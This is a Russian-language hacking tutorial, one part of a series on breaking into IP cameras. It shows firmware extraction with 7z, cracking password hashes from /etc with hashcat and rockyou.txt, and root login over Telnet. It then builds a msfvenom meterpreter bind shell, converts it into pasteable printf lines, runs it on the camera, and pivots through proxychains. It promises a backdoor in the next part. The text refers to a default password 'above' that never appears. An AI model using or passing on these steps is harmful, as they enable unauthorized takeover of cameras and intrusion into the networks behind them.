Добро пожаловать обратно, кибервоины! Мы продолжаем серию статей о взломе камер. На этот раз мы займёмся реверс-инжинирингом, чтобы получить доступ к устройствам, к которым невозможно получить доступ с помощью базовых атак. Как вы уже видели, брутфорс SSH или вход в веб-панель не всегда работают. Вот тут-то и пригодится реверс-инжиниринг прошивки.
Случай 3: Обратный инжиниринг
Допустим, вы нашли камеру, в интерфейсе которой нет опции SSH, но открыт Telnet. Это распространённый случай.
В этом случае нам потребуется найти и скачать прошивку для камеры. Существуют разные сайты с прошивками, но при желании вы можете скачать её напрямую с сайта производителя. Имейте в виду, что разные производители используют разные расширения файлов прошивок. Для этой камеры нам понадобится файл .rootfs .
После этого установите 7zip , чтобы извлечь содержимое:
kali > sudo apt install p7zip-full
kali > 7z x firmware.rootfs
После распаковки вы увидите стандартные каталоги Linux, такие как /etc , /bin и /home .
Перейдите в каталог /etc и найдите хешированные пароли. Именно там большинство устройств хранят свои данные для входа.
Найдя хеш, сохраните его в файл. Для взлома используйте hashcat с распространённым списком слов, например, rockyou.txt :
Кали > sudo hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt
Эти устройства часто используют слабые пароли по умолчанию. Если вы столкнётесь с камерой безымянного китайского производства, попробуйте пароль, указанный выше, поскольку он широко используется китайскими производителями.
После взлома хеша попробуйте войти с помощью Telnet:
кали > telnet <camera_ip> 23
Используйте имя пользователя root и взломанный пароль при появлении запроса. После входа вам будет доступна оболочка, но Telnet не поддерживает динамическое туннелирование в стиле SSH. Чтобы воспользоваться этим доступом, на камере должна быть запущена оболочка bind. Если на устройстве отсутствуют инструменты, такие как curl или ncat , вам придётся скопировать полезную нагрузку вручную.
Начните с создания оболочки:
kali > msfvenom -p linux/armle/meterpreter/bind_tcp -f elf -o bind
Затем используйте эту одностроковую команду, чтобы преобразовать ее в формат, пригодный для скрипта:
kali > cat bind | od -An -t o1 -v | tr ' ' '/' | while read line; do echo “printf '$line' >> out.bin” | tr '/' '\\'; done Теперь скопируйте вывод скрипта и вставьте его построчно на камеру, чтобы воссоздать полезную нагрузку. После того, как скрипт будет загружен на устройство, дайте ему права на выполнение и запустите:
цель > chmod +x out.bin
цель > ./out.bin
Это запустит вашу оболочку Bind. Вернитесь к машине с Kali, настройте multi/handler в Metasploit с той же полезной нагрузкой и используемым портом, а затем подключитесь.
После создания сеанса используйте proxychains с SOCKS-прокси, как в части 1, для перемещения внутри сети.
Некоторые цели требуют больше усилий, чем просто вход в систему. Базовый реверс-инжиниринг помогает взломать устройства, которые невозможно взломать методом подбора или легко взломать. Извлекая и анализируя прошивку, взламывая хеши и вручную собирая полезные данные, вы можете получить контроль даже без использования распространённых инструментов или функций, таких как SSH. Камеры становятся отличным ориентиром. В следующей части мы рассмотрим модификацию прошивки для обеспечения её устойчивости и внедрения бэкдора. До встречи!